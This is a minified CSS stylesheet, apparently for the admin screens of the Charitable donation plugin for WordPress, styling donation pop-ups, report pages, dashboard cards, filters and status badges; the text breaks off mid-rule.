.jconfirm-buttons{float:left;padding:0 30px 30px 30px}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green{background-color:#5AA152;text-transform:capitalize;border-radius:5px;font-weight:500;padding:15px 25px;font-size:16px;line-height:20px}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green:hover{background-color:#3f7539}body.post-type-donation .jconfirm .jconfirm-box input.donation_name.form-control{border-color:#DFDFE1;display:inline-block;margin-left:10px;margin-top:20px;margin-bottom:20px !important;width:90% !important}body.post-type-donation .jconfirm .jconfirm-box label{display:inline-block !important;margin-top:0 !important}body.post-type-donation .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link{color:#3459C4 !important;text-decoration:none}body.post-type-donation .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link:hover{text-decoration:underline}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation .jconfirm-closeIcon{color:white;opacity:0.7;width:15px;height:15px;top:25px;right:25px;font-weight:200;font-size:28px !important}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation .jconfirm-title-c{color:#E7E7E9;padding:30px 0 30px 30px !important;font-size:18px;font-weight:600}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation div.jconfirm-content-pane{margin:0 30px 0 30px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal{max-width:400px;background-color:#ffffff;color:#5C5F6B;font-family:\"Inter\", sans-serif}body.post-type-donation.edit-php.post-type-charitable .charitable-modal .modal-close{position:absolute;top:10px;right:10px;z-index:10;cursor:pointer}body.post-type-donation.edit-php.post-type-charitable .charitable-modal .modal-close::before{content:\"\\f158\";display:block !important;font:normal 20px\u002F1 dashicons;speak:none;height:22px;margin:2px 0;text-align:center;width:22px;color:#777;-webkit-font-smoothing:antialiased !important;-moz-osx-font-smoothing:grayscale}body.post-type-donation.edit-php.post-type-charitable .charitable-modal h3{margin:0 0 30px 0;font-size:24px;line-height:32px;font-weight:400;text-align:left;color:#5C5F6B}body.post-type-donation.edit-php.post-type-charitable .charitable-modal legend,body.post-type-donation.edit-php.post-type-charitable .charitable-modal label{color:#303442;margin-bottom:10px;display:block;font-size:14px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal select{width:100%;padding:5px 15px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal select,body.post-type-donation.edit-php.post-type-charitable .charitable-modal input[type=text]{margin-bottom:20px;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal button.button{background:#FAFAFB;font-weight:500;font-size:12px;line-height:14px;text-align:center;margin:0 auto 0 0;color:#5E616C;border:1px solid #DDD;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal input.charitable-datepicker{width:48%;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:163px center;background-size:15px 15px;border:1px solid #E3E3E5;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal #charitable-filter-end_date_to,body.post-type-donation.edit-php.post-type-charitable .charitable-modal #charitable-filter-start_date_to{float:right}body.charitable_page_charitable-reports .charitable-overview-report,body.charitable_page_charitable-reports .charitable-activity-report{position:relative;padding:0px}body.charitable_page_charitable-reports .charitable-overview-report a.button,body.charitable_page_charitable-reports .charitable-activity-report a.button{border-radius:5px;font-family:\"Inter\", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable_page_charitable-reports .charitable-overview-report a.button.button-primary,body.charitable_page_charitable-reports .charitable-activity-report a.button.button-primary{background-color:#5AA152;border-color:#5AA152;color:white}body.charitable_page_charitable-reports .charitable-overview-report-loading{background-color:rgba(255, 255, 255, 0.85);position:absolute;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:99}body.charitable_page_charitable-reports .charitable-section-loading{opacity:0.25}body.charitable_page_charitable-reports .nav-tab.advanced::after,body.charitable_page_charitable-reports .nav-tab.activity::after,body.charitable_page_charitable-reports .nav-tab.donors::after{content:\"Pro\";background-color:#F99E36;padding:3px 7px;font-size:11px;line-height:11px;text-transform:uppercase;color:white;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-7px}body.charitable_page_charitable-reports .tablenav{font-family:\"Inter\", sans-serif !important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}body.charitable_page_charitable-reports .tablenav .alignleft,body.charitable_page_charitable-reports .tablenav .alignright{margin-top:10px;margin-bottom:10px}body.charitable_page_charitable-reports .tablenav #charitable-advanced-date-pickers,body.charitable_page_charitable-reports .tablenav #charitable-advanced-filter-buttons{display:inline-block}body.charitable_page_charitable-reports .tablenav form{display:block;margin:0;padding:0;float:left}body.charitable_page_charitable-reports .tablenav select{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding-right:30px;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px}body.charitable_page_charitable-reports .tablenav a.button,body.charitable_page_charitable-reports .tablenav input.button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0;min-height:auto;line-height:38px;font-size:13px}body.charitable_page_charitable-reports .tablenav a.button:hover,body.charitable_page_charitable-reports .tablenav input.button:hover{background-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav .charitable-datepicker-container a.button{display:block}body.charitable_page_charitable-reports .tablenav a.button.with-icon label{padding-right:10px}body.charitable_page_charitable-reports .tablenav a.button.with-icon img{margin-bottom:-2px}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button:hover{background-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button img{margin-bottom:-2px}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button:hover{background-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button img{margin-bottom:-4px}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker{width:115px;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:90px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker-ranged,body.charitable_page_charitable-reports .tablenav input.charitable-reports-datepicker{width:195px;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:170px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker-ranged:hover,body.charitable_page_charitable-reports .tablenav input.charitable-reports-datepicker:hover{background-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav.with-margin{margin-bottom:20px}body.charitable_page_charitable-reports .charitable-section{margin-top:20px;margin-bottom:20px;display:table}body.charitable_page_charitable-reports .charitable-section .alignleft,body.charitable_page_charitable-reports .charitable-section .alignright{margin-bottom:15px;margin-top:15px}body.charitable_page_charitable-reports .charitable-section.no-bottom{margin-bottom:0}body.charitable_page_charitable-reports .charitable-section.no-bottom .alignleft,body.charitable_page_charitable-reports .charitable-section.no-bottom .alignright{margin-bottom:0}body.charitable_page_charitable-reports .charitable-container{border-radius:5px;color:#757781;background-color:#FFF}body.charitable_page_charitable-reports .charitable-datepicker-container{display:inline-block;margin-left:5px}body.charitable_page_charitable-reports .charitable-headline-graph-container{padding:20px 30px}body.charitable_page_charitable-reports .charitable-headline-graph-container.charitable-with-growth-tools{position:relative}body.charitable_page_charitable-reports .charitable-section-grid{display:grid;grid-template-columns:repeat(2, 1fr);grid-gap:20px;margin-top:20px}body.charitable_page_charitable-reports .charitable-section-grid.one-third{display:flex;flex-direction:row}body.charitable_page_charitable-reports .charitable-section-grid.charitable-section-grid-column-flexible{align-items:flex-start}body.charitable_page_charitable-reports .charitable-section-grid.charitable-section-grid-column-single{columns:1;column-gap:none;display:block}body.charitable_page_charitable-reports .charitable-cards{display:grid;grid-template-columns:repeat(4, 1fr);margin-top:20px;margin-bottom:20px;grid-gap:20px;width:100%}body.charitable_page_charitable-reports .charitable-cards .charitable-card{padding-top:60px;padding-bottom:60px;font-weight:500px;font-size:16px;line-height:16px;text-align:center}body.charitable_page_charitable-reports .charitable-cards .charitable-card p{margin-top:5px;margin-bottom:0}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{color:#474A57;font-weight:600;font-size:42px;line-height:44px}body.charitable_page_charitable-reports .donations-breakdown tr th{color:#6A6C77}body.charitable_page_charitable-reports .donations-breakdown td{padding-top:20px;padding-bottom:20px;color:#8C8E96}body.charitable_page_charitable-reports .donations-breakdown td.negative{color:#F99E36}body.charitable_page_charitable-reports .donations-breakdown td.positive{color:#5AA152}body.charitable_page_charitable-reports .donations-breakdown tr th:first-child,body.charitable_page_charitable-reports .donations-breakdown td:first-child{padding-left:30px}body.charitable_page_charitable-reports .donations-breakdown td.column-date{font-weight:600}body.charitable_page_charitable-reports .charitable-report-card .header{margin:20px 0 0 0;padding-bottom:20px;padding-left:30px;padding-right:30px;border-bottom:1px solid #EFEFF1}body.charitable_page_charitable-reports .charitable-report-card .header h4{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-report-card .header a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-reports .charitable-report-card .the-graph{width:100%}body.charitable_page_charitable-reports .charitable-report-card .the-list{padding-left:20px;padding-right:20px;margin-left:10px;margin-right:10px;max-height:550px;overflow:scroll}body.charitable_page_charitable-reports .charitable-report-card .the-list.charitable-no-scroll{overflow:visible;max-height:none}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li{color:#474A57;display:flex;border-bottom:1px solid #EFEFF1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar,body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar img,body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar{width:55px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar img{width:55px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8C8E96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8C8E96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8C8E96;line-height:14px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .time-ago{color:#8C8E96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info{font-size:14px;line-height:14px;text-align:right}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li:last-child{border-bottom:0}body.charitable_page_charitable-reports .charitable-activity-report .charitable-tablenav-activity{width:100%}body.charitable_page_charitable-reports .charitable-activity-report .charitable-tablenav-activity h2{line-height:30px;font-size:18px}body.charitable_page_charitable-reports .charitable-activity-report .charitable-activity-list-container{background-color:#FFF}body.charitable_page_charitable-reports .charitable-activity-report .charitable-activity-list-container .charitable-no-results{padding:20px;text-align:left;font-size:16px;line-height:16px;color:#8C8E96}body.charitable_page_charitable-reports .charitable-the-list-container{padding:20px;margin-left:10px;margin-right:10px;max-height:550px;overflow:scroll}body.charitable_page_charitable-reports .charitable-the-list-container.charitable-no-scroll{overflow:visible;max-height:none}body.charitable_page_charitable-reports .charitable-the-list-container ul{margin-top:0;margin-bottom:0}body.charitable_page_charitable-reports .charitable-the-list-container ul li{color:#474A57;display:flex;border-bottom:1px solid #EFEFF1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar,body.charitable_page_charitable-reports .charitable-the-list-container ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar img,body.charitable_page_charitable-reports .charitable-the-list-container ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar{width:55px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar img{width:55px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8C8E96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8C8E96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8C8E96;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .time-ago{color:#8C8E96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info{font-size:14px;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-reports .charitable-the-list-container ul li:last-child{border-bottom:0}body.charitable_page_charitable-reports .charitable-top-campaigns-report{width:66%}body.charitable_page_charitable-reports .charitable-top-campaigns-report p.link{display:table}body.charitable_page_charitable-reports .charitable-top-campaigns-report a{color:#494E5A;text-decoration:none}body.charitable_page_charitable-reports .charitable-top-campaigns-report a img{float:right;margin-left:10px}body.charitable_page_charitable-reports .charitable-top-campaigns-report a:hover{text-decoration:underline}body.charitable_page_charitable-reports .charitable-top-donors-report .avatar img{border-radius:50%}body.charitable_page_charitable-reports .charitable-payment-methods-report{width:33%}body.charitable_page_charitable-reports .charitable-payment-methods-report .apexcharts-canvas{background-image:url(\"..\u002F..\u002F..\u002Fassets\u002Fimages\u002Ficons\u002Fpayments.svg\");background-repeat:no-repeat;background-position:center;margin-left:auto;margin-right:auto}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend{margin:20px auto;width:55%;max-width:300px}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li{display:flex;margin-bottom:15px;width:100%}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .icon span{display:block;border-radius:50%;width:15px;height:15px}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.stripe .icon span{background-color:#5AA152}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.paypal .icon span{background-color:#2B66D1}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.manual .icon span{background-color:#F99E36}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.offline .icon span{background-color:#9e36f9}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.square_core .icon span,body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.square .icon span{background-color:#d21561}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.none .icon span{background-color:#d21561}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .info{margin-left:10px;flex-grow:1;font-size:14px;line-height:14px;color:#474A57;font-weight:600;text-align:left}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .total{font-size:14px;line-height:14px;color:#868890;font-weight:400;text-align:right}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li{display:block}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .main{display:flex}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary{font-weight:400;color:#9899A0}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary p strong{color:#494E5A;font-weight:400}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .progress-bar{margin:10px auto;width:100%}body.charitable_page_charitable-reports .charitable-title-card{padding:20px 30px;margin-top:0px;margin-bottom:0px;position:relative}body.charitable_page_charitable-reports .charitable-title-card h1{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-title-card a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-reports .charitable-title-card button.dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}body.charitable_page_charitable-reports select#report-donor-type-filter,body.charitable_page_charitable-reports select#report-advanced-type-filter{float:none !important;margin-left:10px}body.charitable_page_charitable-reports .charitable-advanced-report .tablenav{width:100%}body.charitable_page_charitable-reports .progress-bar{height:4px;background-color:#F5F5F5;border-radius:0;border:0}body.charitable_page_charitable-reports .progress-bar .progress{height:4px;background-color:#5AA152}body.charitable_page_charitable-reports .charitable-toggle:hover,body.charitable_page_charitable-reports .charitable-toggle:focus,body.charitable_page_charitable-reports .charitable-toggle:focus-visible,body.charitable_page_charitable-reports .charitable-toggle:active,body.charitable_page_charitable-reports .charitable-toggle i:focus,body.charitable_page_charitable-reports .charitable-toggle i:focus-visible{text-decoration:none;border:0;box-shadow:none}body.charitable_page_charitable-reports .charitable-toggle .charitable-angle-right{rotate:-90deg}body.charitable_page_charitable-reports .badge.completed{color:#50A66A}body.charitable_page_charitable-reports .badge.pending{color:#E38632}body.charitable_page_charitable-reports .badge.active{color:#50A66A}body.charitable_page_charitable-reports .badge.recurring{color:#50A66A}body.charitable_page_charitable-reports .badge.one-time{color:#EAA465}body.charitable_page_charitable-reports .badge.paid, body.charitable_page_charitable-reports .badge.publish, body.charitable_page_charitable-reports .badge.published, body.charitable_page_charitable-reports .badge.charitable-completed{color:#50A66A}body.charitable_page_charitable-reports .badge.cancelled{color:#CE3E4E}body.charitable_page_charitable-reports .badge.draft{color:#ccc}body.charitable_page_charitable-reports .charitable-analytics-container{max-width:790px;margin:30px auto 60px auto;display:table;text-align:center}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-monsterinsights-logo{margin:0 auto}body.charitable_page_charitable-reports .charitable-analytics-container h1{font-weight:600;font-size:28px;line-height:38px;margin-top:20px;color:#444754}body.charitable_page_charitable-reports .charitable-analytics-container h2{font-weight:400;font-size:14px;line-height:22px;margin-top:20px;color:#909299}body.charitable_page_charitable-reports .charitable-analytics-container .vertical-wrapper{margin:0;padding:0;height:100%;width:100%;display:table}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail{margin:60px auto;display:grid;grid-template-columns:repeat(2, 1fr);grid-gap:10px;align-content:space-evenly}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail img{max-width:300px}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail ul{padding:0;margin:0;display:table-cell;vertical-align:middle}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail li{text-align:left;min-height:25px;font-size:14px;line-height:21px;color:#474A57;padding-left:25px;margin-bottom:15px;margin-top:0;background:url(..\u002F..\u002Fimages\u002Freports\u002Fanalytics\u002Fcheck.svg) 0 2px no-repeat}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step{margin:20px auto;text-align:left;display:grid;grid-template-columns:1fr 100px;grid-gap:0px;clear:both;max-width:670px;background-color:#fff}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .instructions{padding:25px;float:left}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .step{width:100px;background-color:#F7F8FB;text-align:center;float:right}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .step .step-image{display:table-cell;vertical-align:middle}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step h3{color:#23282D;font-weight:700;font-size:18px;line-height:23px;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step p{padding:0;margin:10px auto;font-weight:200;color:#646970;font-size:16px;line-height:24px}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a{margin:5px auto 0 auto;display:inline-block}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a.button-link{background-color:#5AA152;color:#ffffff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a.button-link:hover{background-color:#1E5B38 !important;border-color:#1E5B38 !important}body.charitable_page_charitable-dashboard .tablenav{font-family:\"Inter\", sans-serif !important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .tablenav .alignleft,body.charitable_page_charitable-dashboard .tablenav .alignright{margin-top:10px;margin-bottom:10px}body.charitable_page_charitable-dashboard .tablenav #charitable-advanced-date-pickers,body.charitable_page_charitable-dashboard .tablenav #charitable-advanced-filter-buttons{display:inline-block}body.charitable_page_charitable-dashboard .tablenav form{display:block;margin:0;padding:0;float:left}body.charitable_page_charitable-dashboard .tablenav select{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding-right:30px;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px}body.charitable_page_charitable-dashboard .tablenav a.button,body.charitable_page_charitable-dashboard .tablenav input.button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7}body.charitable_page_charitable-dashboard .tablenav .charitable-datepicker-container a.button{display:block}body.charitable_page_charitable-dashboard .tablenav a.button.with-icon label{padding-right:10px}body.charitable_page_charitable-dashboard .tablenav a.button.with-icon img{margin-bottom:-2px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button img{margin-bottom:-2px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button:hover{background-color:#E4E4E7}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button img{margin-bottom:-4px}body.charitable_page_charitable-dashboard .tablenav input.charitable-datepicker{width:115px;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:90px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav input.charitable-datepicker-ranged,body.charitable_page_charitable-dashboard .tablenav input.charitable-reports-datepicker{width:195px;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:170px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav.with-margin{margin-bottom:20px}body.charitable_page_charitable-dashboard .charitable-section{margin-top:20px;margin-bottom:20px;display:table}body.charitable_page_charitable-dashboard .charitable-section .alignleft,body.charitable_page_charitable-dashboard .charitable-section .alignright{margin-bottom:15px;margin-top:15px}body.charitable_page_charitable-dashboard .charitable-section-loading{opacity:0.25}body.charitable_page_charitable-dashboard h1 .badge{font-size:11px;font-weight:400}body.charitable_page_charitable-dashboard .charitable-container{border-radius:5px;color:#757781;background-color:#FFF}body.charitable_page_charitable-dashboard .charitable-container .charitable-toggle-container{display:flex;justify-content:space-between;padding:20px 30px;box-shadow:0 5px 15px rgba(0, 0, 0, 0.05);align-items:center}body.charitable_page_charitable-dashboard .charitable-container.charitable-dashboard-notifications .charitable-toggle-container{padding-bottom:10px;padding-left:24px;padding-right:24px}body.charitable_page_charitable-dashboard .charitable-container .the-list{width:100%}body.charitable_page_charitable-dashboard .charitable-headline-graph-container{padding:20px 30px}body.charitable_page_charitable-dashboard .charitable-headline-graph-container.charitable-with-growth-tools{position:relative}body.charitable_page_charitable-dashboard .charitable-section-grid{display:grid;grid-template-columns:repeat(2, 1fr);grid-gap:20px;margin-bottom:20px}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third{display:flex;flex-direction:row}body.charitable_page_charitable-dashboard .charitable-section-grid.charitable-section-grid-column-flexible{align-items:flex-start}body.charitable_page_charitable-dashboard .charitable-section-grid.charitable-section-grid-column-single{columns:1;column-gap:none;display:block}body.charitable_page_charitable-dashboard .charitable-section-flexible{columns:2 200px;column-gap:20px;display:block}body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recent-donations-report,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-top-campaigns-report,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-support,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-dashboard-notifications,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recommended-addons,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recommended-snippets{display:inline-block;margin-bottom:20px;width:100%}body.charitable_page_charitable-dashboard .charitable-cards{display:grid;grid-template-columns:repeat(4, 1fr);margin-top:20px;margin-bottom:20px;grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card{padding-top:60px;padding-bottom:60px;font-weight:500px;font-size:16px;line-height:16px;text-align:center}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card p{margin-top:5px;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{color:#474A57;font-weight:600;font-size:42px;line-height:44px}body.charitable_page_charitable-dashboard .charitable-report-card .header{margin:0 0 0 0;padding-top:20px;padding-bottom:20px;padding-left:25px;padding-right:25px;border-bottom:1px solid #EFEFF1}body.charitable_page_charitable-dashboard .charitable-report-card .header h4{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-dashboard .charitable-report-card .header a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul{margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li{color:#474A57;display:flex;border-bottom:1px solid #EFEFF1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar,body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar img,body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar{width:55px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar img{width:55px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list 